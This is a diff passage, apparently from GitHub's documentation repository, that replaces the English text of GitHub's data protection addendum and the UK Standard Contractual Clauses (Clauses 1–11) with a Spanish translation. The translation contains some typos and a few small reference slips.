-    <li><u><b>Exercise of Rights</b></u>. Rights granted to data subjects under this Addendum may be enforced by the data subject against GitHub irrespective of any restriction in Clauses 3 or 12 of the Standard Contractual Clauses (EU/EEA). The data subject may only bring a claim under this Addendum on an individual basis, and not part of a class, collective, group or representative action. Rights granted to data subjects under this Addendum are personal to the data subject and may not be assigned.</li>
-    <li><u><b>Notice of Change</b></u>. In addition to Clause 14 of the Standard Contractual Clauses (EU/EEA), GitHub agrees and warrants that it has no reason to believe that the legislation applicable to it or its sub-processors, including in any country to which personal data is transferred either by itself or through a sub-processor, prevents it from fulfilling the instructions received from the data exporter and its obligations under this Addendum or the Standard Contractual Clauses (EU/EEA) and that in the event of a change in this legislation which is likely to have a substantial adverse effect on the warranties and obligations provided by this Addendum or the Standard Contractual Clauses (EU/EEA), it will promptly notify the change to Customer as soon as it is aware, in which case Customer is entitled to suspend the transfer of data and/or terminate the contract.</li>
-    <li><u><b>Termination</b></u>. This Addendum shall automatically terminate if the European Commission, a competent Member State supervisory authority, or an EU or competent Member State court approves a different lawful transfer mechanism that would be applicable to the data transfers covered by the Standard Contractual Clauses (EU/EEA) (and if such mechanism applies only to some of the data transfers, this Addendum will terminate only with respect to those transfers) and that does not require the additional safeguards set forth in this Addendum.</li>
+    El sujeto de datos lleva la carga de prueba con respecto a las condiciones de la "a" a la "c".</br>
+    No obstante a lo anterior, GitHub no deberá tener obligación alguna de indemnizar al sujeto de datos bajo la Sección 2 si GitHub establece que la Divulgación Relevante no violó sus obligaciones bajo el Capítulo V de la GDPR.</br>
+    <li><u><b>Alance de los daños</b></u>. La indemnización bajo la sección 2 se limita a los daños materiales y no materiales estipulados en la GDPR y excluye los daños consecuenciales y todos los demás que no resulten de que GitHub haya incumplido con la GDPR.</li>
+    <li><u><b>Ejercicio de derechos</b></u>. Los derechos que se otorgan a los sujetos de datos bajo esta Adenda podrán hacerse valer contra GitHub independientemente de cualquier restricción de las Cláusulas 3 o 12 de las Cláusulas Contractuales Estándar (UE/EEA). El sujeto de datos solo podrá presentar una reclamación bajo esta Adenda de forma individual y no como parte de una clase, colectivo, grupo o acción representativa. Los derechos que se otorgan a los sujetos de datos bajo la presente Adenda son personales del sujeto de datos y no podrán asignarse.</li>
+    <li><u><b>Aviso de cambio</b></u>. Adicionalmente a la Cláusula 14 de las Cláusulas Contractuales Estándar (UE/EEA), GitHub acuerda y garantiza que no tiene razón para creer que la legislación aplicable a esta o a sus subprocesadores, incluyendo aquella en cualquier país al que se transfieran datos personales ya sea por ella misma o mediante un subprocesador, impide que lleve a cabo las instrucciones que recibe del exportador de datos y sus obligaciones bajo esta Adenda o bajo las Cláusulas Contractuales Estándar (UE/EEA) y que, en caso de que exista un cambio en esta legislación, el cual pueda tener efectos adversos sustanciales en las garantías y obligaciones que otorga esta Adenda o las Cláusulas Contractuales Estándar (UE/EEA), notificará inmediatamente sobre este cambio al Cliente tan pronto como se percate de él, en cuyo caso, el Cliente tendrá el derecho de suspender la transferencia de datos y/o terminar el contrato.</li>
+    <li><u><b>Terminación</b></u>. La presente Adenda deberá terminarse automáticamente en caso de que la Comisión Europea, la autoridad supervisora de un Estado Miembro competente, o una corte de un Estado Miembro competente de la UE apruebe un mecanismo de transferencia legal diferente que pudiera ser aplicable a las transferencias de datos que se cubren en la Cláusulas Contractuales Estándar (UE/EEA) (y si dicho mecanismo aplica únicamente a algunos tipos de transferencias de datos, la presente Adenda terminará únicamente con respecto a ellas) y no requieran las salvaguardas adicionales que se estipulan en la presente.</li>
 </ol>
 
-<p id="attachment2"><h1>Attachment 2 – The Standard Contractual Clauses (UK)</h1></p>
+<p id="attachment2"><h1>Adjunto 2 - Las Cláusulas Contractuales Estándar (UK)</h1></p>
 
-Execution of the GitHub Customer Agreement by Customer includes execution of this Attachment 2, which is countersigned by GitHub, Inc. 
+La ejecución del Acuerdo de Cliente de GitHub por parte del Cliente incluye también la ejecución de este Adjunto 2, el cual contrafirma GitHub, Inc.
 
-In countries where regulatory approval is required for use of the Standard Contractual Clauses, the Standard Contractual Clauses cannot be relied upon under European Commission 2010/87/EU (of February 2010) to legitimize export of data from the country, unless Customer has the required regulatory approval.
+En los países donde se requiera de aprobación regulatoria para utilizar las Cláusulas Contractuales Estándar, no se podrá depender de éstas bajo la Comisión Europea 2010/87/EU (de febrero de 2010) para legitimar la exportación de datos del país en cuestión, a menos de que el cliente tenga la aprobación regulatoria requerida.
 
-Beginning May 25, 2018 and thereafter, references to various Articles from the Directive 95/46/EC in the Standard Contractual Clauses below will be treated as references to the relevant and appropriate Articles in the GDPR.
+Desde el 25 de mayo de 2018 y en lo subsecuente, las referencias a diversos Artículos de la Directiva 95/46/EC en las siguientes Cláusulas Contractuales Estándar se tratará como referencias a los Artículos adecuados relevantes de la GDPR.
 
-For the purposes of Article 26(2) of Directive 95/46/EC for the transfer of personal data to processors established in third countries which do not ensure an adequate level of data protection, Customer (as data exporter) and GitHub, Inc. (as data importer, whose signature appears below), each a “party,” together “the parties,” have agreed on the following Contractual Clauses (the “Clauses” or “Standard Contractual Clauses”) in order to adduce adequate safeguards with respect to the protection of privacy and fundamental rights and freedoms of individuals for the transfer by the data exporter to the data importer of the personal data specified in Appendix 1.
+Para efectos del Artículo 26(2) de la Directiva 95/46/EC para la transferencia de datos personales a los procesadores establecidos en los países terceros que no aseguran un nivel adecuado de protección de datos, el Cliente (como exportador de datos) y GitHub, Inc. (como importador de datos, cuya firma se muestra más adelante), constituyendo cada uno una "parte" y, en conjunto, denominados como "las partes", han acordado en seguir las Cláusulas Contractuales (las "Cláusulas" o "Cláusulas Contractuales Estándar") para citar las salvaguardas adecuadas con respecto a la protección de la privacidad y derechos fundamentales y libertades de los individuos para la transferencia del exportador al importador de los datos personales que se especifican en el Apéndice 1.
 
-### Clause 1: Definitions
+### Cláusula 1: Definiciones
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>'personal data', 'special categories of data', 'process/processing', 'controller', 'processor', 'data subject' and 'supervisory authority' shall have the same meaning as in Directive 95/46/EC of the European Parliament and of the Council of 24 October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data;</li>
-    <li>'the data exporter' means the controller who transfers the personal data;</li>
-    <li>'the data importer' means the processor who agrees to receive from the data exporter personal data intended for processing on his behalf after the transfer in accordance with his instructions and the terms of the Clauses and who is not subject to a third country's system ensuring adequate protection within the meaning of Article 25(1) of Directive 95/46/EC;</li>
-    <li>'the subprocessor' means any processor engaged by the data importer or by any other subprocessor of the data importer who agrees to receive from the data importer or from any other subprocessor of the data importer personal data exclusively intended for processing activities to be carried out on behalf of the data exporter after the transfer in accordance with his instructions, the terms of the Clauses and the terms of the written subcontract;</li>
-    <li>'the applicable data protection law' means the legislation protecting the fundamental rights and freedoms of individuals and, in particular, their right to privacy with respect to the processing of personal data applicable to a data controller in the Member State in which the data exporter is established;</li>
-    <li>'technical and organisational security measures' means those measures aimed at protecting personal data against accidental or unlawful destruction or accidental loss, alteration, unauthorised disclosure or access, in particular where the processing involves the transmission of data over a network, and against all other unlawful forms of processing.</li>
+    <li>'datos personales', categorías especiales de datos', 'proceso/procesamiento', 'controlador', 'procesador', 'sujeto de datos' y 'autoridad supervisora' deberán tener el mismo significado que en la Directiva 95/46/EC del Parlamento Europeo y del Consejo del 24 de octubre de 1995 sobre la protección de los individuos con respecto al procesamiento de datos personales y con el movimiento libre de los mismos;</li>
+    <li>'el exportador de datos' se refiere al controlador que transifere los datos personales;</li>
+    <li>'el importador de datos' significa el procesador que acuerda recibir del exportador de datos los datos personales previstos para procesar en su nombre después de la transferencia de acuerdo con sus instrucciones y con las condiciones de las Cláusulas y quien no está sujeto a un sistema del país tercero que garantice la protección dentro del significado del Artículo 25(1) de la Directiva 95/46/EC;</li>
+    <li>'el subprocesador' significa cualquier procesador contactado mediante el importador de datos o mediante cualquier otro subprocesador del importador de datos quien acuerde recibir del importador de datos o de cualquier otro subprocesador de dicho importador los datos personales exclusivos que se pretenden utilizar en actividades de procesamiento que se llevarán acabo en nombre del exportador de datos después de la transferencia de acuerdo con sus instrucciones, las condiciones de las Cláusulas y las de el subcontrato por escrito;</li>
+    <li>'la ley de protección de datos aplicable' se refiere a la legislación que protege los derechos fundamentales y las libertades de los individuos y, particularmente, su derecho a la privacidad con respecto al procesamiento de los datos personales aplicables al controlador de datos en el Estado Miembro en el cual se establece el exportador de datos;</li>
+    <li>'medidas de seguridad técnicas y organizacionales' se refiere a aquellas medidas que se enfocan en proteger los datos contra una pérdida accidental o una destrucción ilegal, alteraciones, diseminación no autorizada o acceso, particularmente donde el procesamiento involucre la transmisión de datos a través de una red, y contra todo el resto de formas ilegales de procesamiento.</li>
 </ol>
 
-### Clause 2: Details of the transfer
+### Cláusula 2: Detalles de la transferencia
 
-The details of the transfer and in particular the special categories of personal data where applicable are specified in Appendix 1 below which forms an integral part of the Clauses.
+Los detalles de la transferencia y, en particular, de las categorías especiales de datos personales en donde sean aplicables se especifican en el Apéndice 1 que se encuentra más adelante, el cual forma una parte integral de las Cláusulas.
 
-### Clause 3: Third-party beneficiary clause
+### Cláusula 3: Cláusula de beneficiario tercero
 
 <ol style="list-style-type:decimal" class="no-styling">
-  <li>The data subject can enforce against the data exporter this Clause, Clause 4(b) to (i), Clause 5(a) to (e), and (g) to (j), Clause 6(1) and (2), Clause 7, Clause 8(2), and Clauses 9 to 12 as third-party beneficiary.</li>
-  <li>The data subject can enforce against the data importer this Clause, Clause 5(a) to (e) and (g), Clause 6, Clause 7, Clause 8(2), and Clauses 9 to 12, in cases where the data exporter has factually disappeared or has ceased to exist in law unless any successor entity has assumed the entire legal obligations of the data exporter by contract or by operation of law, as a result of which it takes on the rights and obligations of the data exporter, in which case the data subject can enforce them against such entity.</li>
-  <li>The data subject can enforce against the subprocessor this Clause, Clause 5(a) to (e) and (g), Clause 6, Clause 7, Clause 8(2), and Clauses 9 to 12, in cases where both the data exporter and the data importer have factually disappeared or ceased to exist in law or have become insolvent, unless any successor entity has assumed the entire legal obligations of the data exporter by contract or by operation of law as a result of which it takes on the rights and obligations of the data exporter, in which case the data subject can enforce them against such entity. Such third-party liability of the subprocessor shall be limited to its own processing operations under the Clauses.</li>
-  <li>The parties do not object to a data subject being represented by an association or other body if the data subject so expressly wishes and if permitted by national law.</li>
+  <li>El titular de los datos podrá hacer valer la ley contra el exportador de datos en esta Cláusula, la Cláusula 4(b) a (i), la Cláusula 5(a) a (e), y de (g) a (j), la Cláusula 6(1) y (2), la Cláusula 8(2), y las Cláusulas 9 a 12 como beneficiario tercero.</li>
+  <li>El titular de los datos podrá hacer valer la ley contra el importador de datos en esta Cláusula, la Cláusula 5(a) a (e) y (g), la Cláusula 6, Cláusula 7, Clúsula 8(2) y las Cláusulas 9 a 12, en los casos en donde el exportador de los datos haya desaparecido realmente o haya dejado de existir en la ley a menos de que alguna entidad de sucesión haya asumido las obligaciones legales integrales del exportador de datos mediante onctrato o mediante la operación legal, como resultado de que lo que asume en los derechos y obligaciones del exportador de datos, en cuyo caso, el titular de los datos podrá hacer valor esto contra dicha entidad.</li>
+  <li>El sujeto de los datos puede aplicar la ley en contra del subprocesador de esta Cláusula, la Cláusula 5(a) a (e) y (g), Cláusula 6, Cláusula 7, Cláusula 8(2) y Cláusulas 9 a 12, en casos en donde tanto el exportador como el importador de los datos hayan desaparecido realmente o dejado de existir en la ley o se hayan declarado insolventes, a menos de que cualquier entidad sucesora haya asumido todas las obligaciones del exportador de los datos contractualmente o conforme a derecho que resulte en la toma de derchos y obligaciones del exportador de datos, en cuyo caso, el titular de los datos puede aplicar la ley en contra de dicha entidad. Dicha responsabilidad de terceros del subprocesador se limitará a sus propias operaciones de procesamiento bajo las Cláusulas.</li>
+  <li>Las partes no se oponen a que un titular de los datos se represente mediante una asociación o cualquier otro cuerpo si dicho titular así lo desea expresamente y si la ley nacional lo permite.</li>
 </ol>
 
-### Clause 4: Obligations of the data exporter
+### Cláusula 4: Las obligaciones del exportador de los datos
 
-The data exporter agrees and warrants: 
+El exportador de los datos acuerda y garantiza:
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>that the processing, including the transfer itself, of the personal data has been and will continue to be carried out in accordance with the relevant provisions of the applicable data protection law (and, where applicable, has been notified to the relevant authorities of the Member State where the data exporter is established) and does not violate the relevant provisions of that State;</li>
-    <li>that it has instructed and throughout the duration of the personal data processing services will instruct the data importer to process the personal data transferred only on the data exporter's behalf and in accordance with the applicable data protection law and the Clauses;</li>
-    <li>that the data importer will provide sufficient guarantees in respect of the technical and organisational security measures specified in Appendix 2 below;</li>
-    <li>that after assessment of the requirements of the applicable data protection law, the security measures are appropriate to protect personal data against accidental or unlawful destruction or accidental loss, alteration, unauthorised disclosure or access, in particular where the processing involves the transmission of data over a network, and against all other unlawful forms of processing, and that these measures ensure a level of security appropriate to the risks presented by the processing and the nature of the data to be protected having regard to the state of the art and the cost of their implementation;</li>
-    <li>that it will ensure compliance with the security measures;</li>
-    <li>that, if the transfer involves special categories of data, the data subject has been informed or will be informed before, or as soon as possible after, the transfer that its data could be transmitted to a third country not providing adequate protection within the meaning of Directive 95/46/EC;</li>
-    <li>to forward any notification received from the data importer or any subprocessor pursuant to Clause 5(b) and Clause 8(3) to the data protection supervisory authority if the data exporter decides to continue the transfer or to lift the suspension;</li>
-    <li>to make available to the data subjects upon request a copy of the Clauses, with the exception of Appendix 2, and a summary description of the security measures, as well as a copy of any contract for subprocessing services which has to be made in accordance with the Clauses, unless the Clauses or the contract contain commercial information, in which case it may remove such commercial information;</li>
-    <li>that, in the event of subprocessing, the processing activity is carried out in accordance with Clause 11 by a subprocessor providing at least the same level of protection for the personal data and the rights of data subject as the data importer under the Clauses; and</li>
-    <li>that it will ensure compliance with Clause 4(a) to (i).</li>
+    <li>que el procesamiento, incluyendo la transferencia misma de los datos personales, se ha estado llevando a cabo y se seguirá haciendo de acuerdo con las disposiciones generales de la ley de protección de datos aplicable (y, cuando sea aplicable, se ha notificado a las autoridades relevantes del Estado Miembro en donde se establece el exportador de los datos) y no viola las disposiciones generales relevantes de dicho estado;</li>
+    <li>que se ha instruido y, a través de la duración de los servicios de procesamiento de datos personales, se instuirá al importador de los datos para procesar los datos personales transferidos únicamente en nombre del exportador de los datos de acuerdo con la ley de protección de datos personales y con las Cláusulas;</li>
+    <li>que el importador de los datos proporcionará garantía suficiente con respecto a las medidas de seguridad técnicas y organizacionales especificadas en el Apéndice 2 descrito posteriormente;</li>
+    <li>que después de la valoración de los requisitos para la ley de protección de datos aplicable, las medidas de seguridad son adecuadas para proteger los datos personales contra la destrucción accidental o ilegal o contra la pérdida, alteración, divulgación no autorizada o acceso accidentales, particularmente en donde el procesamiento involucre la transmisión de datos a través de una red, y contra cualquier otra forma ilegal de procesamiento, y que estas medidas garantizan un nivel de seguridad adecuado para los riesgos que se presentan mediante el procesamiento y por la naturaleza de los datos que se protegerán con respecto a las tecnologías más recientes y el costo de su implementación;</li>
+    <li>que garantizará el cumplimiento con las medidas de seguridad;</li>
+    <li>que, en caso de que la transferencia involucre categorías especiales de datos, se ha informado o se le informará al sujeto de datos con antelación o tan pronto sea posible después de la transferencia que sus datos podrían transmitirse a un país tercero sin proporcionar la protección adecuada dentro del significado de la Directiva 95/46/EC;</li>
+    <li>reenviar cualquier notificación que se recibe de un importador de datos o de cualquier subprocesador de acuerdo con la Cláusula 5(b) y la Cláusula 8(3) a la autoridad supervisora de protección de datos si el exportador de los datos decide continuar con la transferencia o levantar la suspeción;</li>
+    <li>poner a disposición una copia de las Cláusulas para los titulares de los datos por solicitud, con la exepción del Apéndice 2, y un resúmen descriptivo de las medidas de seguridad, así como una copia de cualquier contrato para los servicios de subprocesamiento que se tiene que hacer de acuerdo con las Cláusulas, a menos de que las Cláusulas o el contrato contengan información comercial, en cuyo caso se podrá eliminar dicha información comercial;</li>
+    <li>que, en caso de subprocesamiento, la actividad de procesamiento se llevará a cabo de acuerdo con la Cláusula 11 mediante un subprocesador que proporcione por lo menos el mismo nivel de protección para los datos personales y para los derechos del titual de los datos como importador de los mismos bajo las Cláusulas; y</li>
+    <li>que garantizará el cumplimiento con la Cláusula 4(a) a la (j).</li>
 </ol>
 
-### Clause 5: Obligations of the data importer
+### Cláusula 5: Obligaciones del importador de los datos
 
-The data importer agrees and warrants: 
+El importador de los datos acuerda y garantiza:
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>to process the personal data only on behalf of the data exporter and in compliance with its instructions and the Clauses; if it cannot provide such compliance for whatever reasons, it agrees to inform promptly the data exporter of its inability to comply, in which case the data exporter is entitled to suspend the transfer of data and/or terminate the contract; </li>
-    <li>that it has no reason to believe that the legislation applicable to it prevents it from fulfilling the instructions received from the data exporter and its obligations under the contract and that in the event of a change in this legislation which is likely to have a substantial adverse effect on the warranties and obligations provided by the Clauses, it will promptly notify the change to the data exporter as soon as it is aware, in which case the data exporter is entitled to suspend the transfer of data and/or terminate the contract;</li>
-    <li>that it has implemented the technical and organisational security measures specified in Appendix 2 before processing the personal data transferred;</li>
-    <li>that it will promptly notify the data exporter about:</li>
+    <li>procesar los datos personales únicamente en nombre del exportador de los datos y en cumplimiento con sus instrucciones y con las Cláusulas; si no puede proporcionar dicho cumplimiento por cualquier razón, acuerda informar de manera oportuna al exportador de los datos de dicha incapacidad, en cuyo caso, el exportador de los datos tendrá derecho a suspender al trasnferencia de los mismos o de terminar el contrato; </li>
+    <li>que no hay razón para creer que la legislación aplicable a ello les previene de completar las instrucciones recibidas del exportador de datos y sus obligaciones contractuales y que en caso de un cambio a dicha legislación, el cual probablemente tenga un efecto adverso sobre las garantías y obligaciones que proporcionan las Cláusulas, se notificará oportunamente sobre el cambio al exportador de los datos tan pronto sea de su conocimiento, en cuyo caso, el exportador de los datos tendrá derecho para suspender la transferencia de los mismos y/o de terminar el contrato;</li>
+    <li>que ha implementado las medidas de seguridad técnicas y organizacionales especificadas en el Apéndice 2 antes de procesar los datos personales transferidos;</li>
+    <li>que notificará oportunamente al exportador de los datos sobre:</li>
     <ol style="list-style-type:lower-roman" class="no-styling">
-        <li>any legally binding request for disclosure of the personal data by a law enforcement authority unless otherwise prohibited, such as a prohibition under criminal law to preserve the confidentiality of a law enforcement investigation,</li>
-        <li>any accidental or unauthorised access, and</li>
-        <li>any request received directly from the data subjects without responding to that request, unless it has been otherwise authorised to do so;</li>
+        <li>cualquier solicitud legalmente vinculante para la divulgación de los datos personales mediante una autoridad legal a menos de que se prohiba de otro modo, tal como una prohibición bajo leyes judiciales para preservar la confidencialidad de una investigación legal,</li>
+        <li>cualquier acceso accidental o no autorizado, y</li>
+        <li>cualquier solicitud recibida directamente de los titulares de los datos sin responder a dicha solicitud, a menos de que se haya autorizado de otra forma;</li>
     </ol>
-    <il>to deal promptly and properly with all inquiries from the data exporter relating to its processing of the personal data subject to the transfer and to abide by the advice of the supervisory authority with regard to the processing of the data transferred;</il>
-    <il>at the request of the data exporter to submit its data processing facilities for audit of the processing activities covered by the Clauses which shall be carried out by the data exporter or an inspection body composed of independent members and in possession of the required professional qualifications bound by a duty of confidentiality, selected by the data exporter, where applicable, in agreement with the supervisory authority;</il>
-    <li>to make available to the data subject upon request a copy of the Clauses, or any existing contract for subprocessing, unless the Clauses or contract contain commercial information, in which case it may remove such commercial information, with the exception of Appendix 2 which shall be replaced by a summary description of the security measures in those cases where the data subject is unable to obtain a copy from the data exporter; </li>
-    <li>that, in the event of subprocessing, it has previously informed the data exporter and obtained its prior written consent;</li>
-    <li>that the processing services by the subprocessor will be carried out in accordance with Clause 11; and</li>
-    <li>to send promptly a copy of any subprocessor agreement it concludes under the Clauses to the data exporter.</li>
+    <il>lidiar oportuna y adecuadamente con todas las investigaciones de exportador de datos que se relacionen con su procesamiento de los datos personales sujetos a transferencia y cumplir con los consejos de la autoridad supervisante con respecto al procesamiento de los datos transferidos;</il>
+    <il>bajo solicitud del exportador de los datos, emitir sus medios de procesamiento de datos para su auditoría de actividades de procesamiento que se cubren en las cláusulas, lo cual se deberá llevar a cabo por medio del exportador de los datos o mediante un cuerpo de inspección compuesto de miembros independientes y en posesión de las certificaciones profesionales requeridas y ligadas por deber o confidencialidad, seleccionadas por el exportador de los datos, cuando sea aplicable, de acuerdo con la autoridad supervisora;</il>
+    <li>poner a disposición para el titular de los datos bajo solicitud una copia de las Cláusulas, o de cualquier contrato existente para el subprocesamiento, a menos de que dichas Cláusulas o contrato contengan información compercial, en cuyo caso pudiera eliminar dicha información comercial, con excepción del Apéndice 2, el cual se deberá reemplazar con un resumen descriptivo de las medidas de seguridad en esos casos donde el titular de los datos no puede obtener una copia del exportador de los datos; </li>
+    <li>que, en caso de subprocesamiento, se ha informado previamente al exportador de los datos y se ha obtenido una aprobación previa por escrito;</li>
+    <li>que los servicios de procesamiento del subprocesador se llevarán acabo de acuerdo con la Cláusula 11; y</li>
+    <li>enviar al exportador de los datos oportunamente una copia de cualquier contrato de subprocesamiento que se concluya bajo las Cláusulas.</li>
 </ol>
 
-### Clause 6: Liability
+### Cláusula 6: Responsabilidades
 
 <ol style="list-style-type:decimal" class="no-styling">
-  <li>The parties agree that any data subject who has suffered damage as a result of any breach of the obligations referred to in Clause 3 or in Clause 11 by any party or subprocessor is entitled to receive compensation from the data exporter for the damage suffered.</li>
+  <li>Las partes concuerdan que cualquier titular de los datos que haya sufrido daños como resultado de cualquier violación a las obligaciones descritas en la Cláusula 3 o en la Cláusula 11 por parte de cualquier subprocesador tiene derecho a recibir una compensación del exportador de los datos por dicho daño sufrido.</li>
 
-  <li>If a data subject is not able to bring a claim for compensation in accordance with paragraph 1 against the data exporter, arising out of a breach by the data importer or his subprocessor of any of their obligations referred to in Clause 3 or in Clause 11, because the data exporter has factually disappeared or ceased to exist in law or has become insolvent, the data importer agrees that the data subject may issue a claim against the data importer as if it were the data exporter, unless any successor entity has assumed the entire legal obligations of the data exporter by contract of by operation of law, in which case the data subject can enforce its rights against such entity.</br></br>
-  The data importer may not rely on a breach by a subprocessor of its obligations in order to avoid its own liabilities.</li>
+  <li>Si algún titular de los datos no puede presentar un reclamo de indemnización en contra del exportador de los datos de acuerdo con el párrafo 1, la cual se derive de una violación por parte del importador de los datos o de su subprocesador o de cualquiera de sus obligaciones que se describen en la Cláusula 3, o en la Cláusula 11, debido a que el exportador de los datos ha desaparecido realmente o dejado de existir ante la ley, o se haya declarado insolvente, el importador de los datos acuerda que el titular de los datos puede emitir un reclamo contra este como si fuera el exportador de los mismos, a menos de que alguna entidad sucesora haya asumido las obligaciones legales íntegras del exportador de los datos contractualmente o mediante la aplicación de la ley, en cuyo caso, el sujeto de los datos puede hacer valer sus derechos contra dicha entidad.</br></br> El importador de los datos no podrá depender en argumentar una violación mediante un procesador de sus obligaciones para evitar sus propias responsabilidades.</li>
 
-  <li>If a data subject is not able to bring a claim against the data exporter or the data importer referred to in paragraphs 1 and 2, arising out of a breach by the subprocessor of any of their obligations referred to in Clause 3 or in Clause 11 because both the data exporter and the data importer have factually disappeared or ceased to exist in law or have become insolvent, the subprocessor agrees that the data subject may issue a claim against the data subprocessor with regard to its own processing operations under the Clauses as if it were the data exporter or the data importer, unless any successor entity has assumed the entire legal obligations of the data exporter or data importer by contract or by operation of law, in which case the data subject can enforce its rights against such entity. The liability of the subprocessor shall be limited to its own processing operations under the Clauses.</li>
+  <li>Si un titular de los datos no puede presentar un reclamo en contra del exportador o importador de los datos a los cuales se hace referencia en los párrafos 1 y 2, derivado de una violación por parte del subprocesador o por cualquiera de sus obligaciones explicadas en la Cláusula 2 o en la Cláusula 11 ya que ambos, importador y exportador, hayan desaparecido realmente o dejado de existir ante la ley, o se hayan declarado insolventes, el subprocesador acuerda que el titular de los datos podrá emitir un reclamo contra el subprocesador de los datos con respecto a sus propias operaciones de procesamiento bajo las Cláusulas como si fuera el exportador o importador de los mismos, a menos de que cualquier entidad sucesora haya asumido las obligaciones íntegras del exportador o importador de los datos contractualmente o por aplicación de la ley, en cuyo caso, el titular de los datos puede hacer valer sus derechos en contra de dicha entidad. La responsabilidad del subprocesador deberá limitarse a sus propias operaciones de procesamiento bajo las Cláusulas.</li>
 </ol>
 
-### Clause 7: Mediation and jurisdiction
+### Cláusula 7: Mediación y Jurisdicción
 
 <ol style="list-style-type:decimal" class="no-styling">
-    <li>The data importer agrees that if the data subject invokes against it third-party beneficiary rights and/or claims compensation for damages under the Clauses, the data importer will accept the decision of the data subject:</il>
+    <li>El iimportador de los datos acuerda que si el titular de los datos apelase en contra de sus derechos de beneficiario tercero y/o reclama una compensación por daños bajo las Cláusulas, el importador de los datos aceptará la decisión del titular de los datos:</il>
     <ol style="list-style-type:lower-alpha" class="no-styling">
-        <li>to refer the dispute to mediation, by an independent person or, where applicable, by the supervisory authority;</il>
-        <li>to refer the dispute to the courts in the Member State in which the data exporter is established.</il>
+        <li>para referir la disputa de mediación, mediante una persona independiente o, cuando sea aplicable, mediante la autoridad supervisora;</il>
+        <li>referir la disputa en las cortes del Estado Miembro en el cual se establece el exportador de los datos.</il>
     </ol>
-    <li>The parties agree that the choice made by the data subject will not prejudice its substantive or procedural rights to seek remedies in accordance with other provisions of national or international law.</il>
+    <li>Las partes acuerdan que la elección que haga el titular de los datos no perjudicará sus derechos sustantivos o procesales para buscar remedios de acuerdo con otras disposiciones de la ley internacional o nacional.</il>
 </ol>
 
-### Clause 8: Cooperation with supervisory authorities
+### Cláusula 8: Cooperación con las autoridades supervisantes
 
 <ol style="list-style-type:decimal" class="no-styling">
-  <li>The data exporter agrees to deposit a copy of this contract with the supervisory authority if it so requests or if such deposit is required under the applicable data protection law.</li>
+  <li>El exportador de los datos acuerda depositar una copia de este contrato con la autoridad supervisora si así lo requiere o si dicho depósito se requiere bajo la ley de protección de datos aplicable.</li>
 
-  <li>The parties agree that the supervisory authority has the right to conduct an audit of the data importer, and of any subprocessor, which has the same scope and is subject to the same conditions as would apply to an audit of the data exporter under the applicable data protection law.</li>
+  <li>Las partes concuerdan que la autoridad supervisora tiene el derecho de conducir una auditoría del importador de los datos, y de cualquier subprocesador, la cual tiene el mismo alcance y está sujeta a las mismas condiciones que aplcarían en una auditoría del exportador de los datos bajo la ley de protección de datos aplicable.</li>
 
-  <li>The data importer shall promptly inform the data exporter about the existence of legislation applicable to it or any subprocessor preventing the conduct of an audit of the data importer, or any subprocessor, pursuant to paragraph 2. In such a case the data exporter shall be entitled to take the measures foreseen in Clause 5 (b).</li>
+  <li>El importador de los datos deberá informar de manera oportuna al exportador de los datos acerca de la existencia de la legislación aplicable a éste o a cualquier subprocesador, previniendo la conducción de una auditoría al importador de los datos o a cualquier subprocesador de acuerdo con el párrafo 2. En tal caso, el exportador de datos tendrá derecho de tomar las medidas previstas en la Cláusula 5 (b).</li>
 </ol>
 
-### Clause 9: Governing Law.
+### Cláusula 9: Ley Aplicable.
 
-The Clauses shall be governed by the law of the Member State in which the data exporter is established. 
+Las Cláusulas deberán regirse por medio de la ley del Estado Miembro en el cual se establece el exportador de los datos.
 
-### Clause 10: Variation of the contract
+### Cláusula 10: Variación del contrato
 
-The parties undertake not to vary or modify the Clauses. This does not preclude the parties from adding clauses on business related issues where required as long as they do not contradict the Clause. 
+Las partes se comprometen a no variar o modificar las Cláusulas. Esto no impide que las partes agreguen cláusulas sobre los asuntos relacionados con los negocios conforme se requieran mientras que éstas no contradigan la Cláusula.
 
-### Clause 11: Subprocessing
+### Cláusula 11: Subprocesamiento
 
 <ol style="list-style-type:decimal" class="no-styling">
-  <li>The data importer shall not subcontract any of its processing operations performed on behalf of the data exporter under the Clauses without the prior written consent of the data exporter. Where the data importer subcontracts its obligations under the Clauses, with the consent of the data exporter, it shall do so only by way of a written agreement with the subprocessor which imposes the same obligations on the subprocessor as are imposed on the data importer under the Clauses. Where the subprocessor fails to fulfil its data protection obligations under such written agreement the data importer shall remain fully liable to the data exporter for the performance of the subprocessor's obligations under such agreement.</li>
+  <li>El importador de los datos no deberá subcontratar ninguna de sus operaciones de procesamiento que se realicen en nombre del exportador de los datos bajo las Cláusulas sin el consentimiento previo y por escrito del exportador de los datos. En caso de que el importador de los datos subcontrate sus obligaciones debajo de las Cláusulas, con el consentimiento del exportador de los datos, deberá hacerlo únicamente por medio de un contrato por escrito con el subprocesador, el cual imponga las mismas obligaciones en el subprocesador que se impusieron en el importador de los datos bajo las Cláusulas. Donde sea que el subprocesador incumpla con sus obligaciones de protección de datos bajo dicho contrato por escrito, el importador de los datos deberá ser plenamente responsable del exportador de los datos por el cumplimiento de las obligaciones del subprocesador bajo dicho contrato.</li>
 
-  <li>The prior written contract between the data importer and the subprocessor shall also provide for a third-party beneficiary clause as laid down in Clause 3 for cases where the data subject is not able to bring the claim for compensation referred to in paragraph 1 of Clause 6 against the data exporter or the data importer because they have factually disappeared or have ceased to exist in law or have become insolvent and no successor entity has assumed the entire legal obligations of the data exporter or data importer by contract or by operation of law. Such third-party liability of the subprocessor shall be limited to its own processing operations under the Clauses.</li>
+  <li>El contrato escrito previo entre el importador de los datos y el subprocesador también deberá proporcionar una cláusula de terceros beneficiarios de acuerdo con lo asentado en la Cláusula 3 para los casos en donde el titular de los datos no pueda preentar una reclamación de compensación como se refiere en el párrafo 1 de la Cláusula 6 en contra del exportador o del importador de los datos debido a que han desaparecido realmente o han dejado de existir ante la ley o se hayan declarado insolventes y ninguna entidad sucesora haya asumido las obligaciones legales íntegras del exportador o importador de los datos contractualmente o mediante la ley aplicable. Dicha responsabilidad de terceros del subprocesador se limitará a sus propias operaciones de procesamiento bajo las Cláusulas.</li>
 
-  <li>The provisions relating to data protection aspects for subprocessing of the contract referred to in paragraph 1 shall be governed by the law of the Member State in which the data exporter is established.</li>
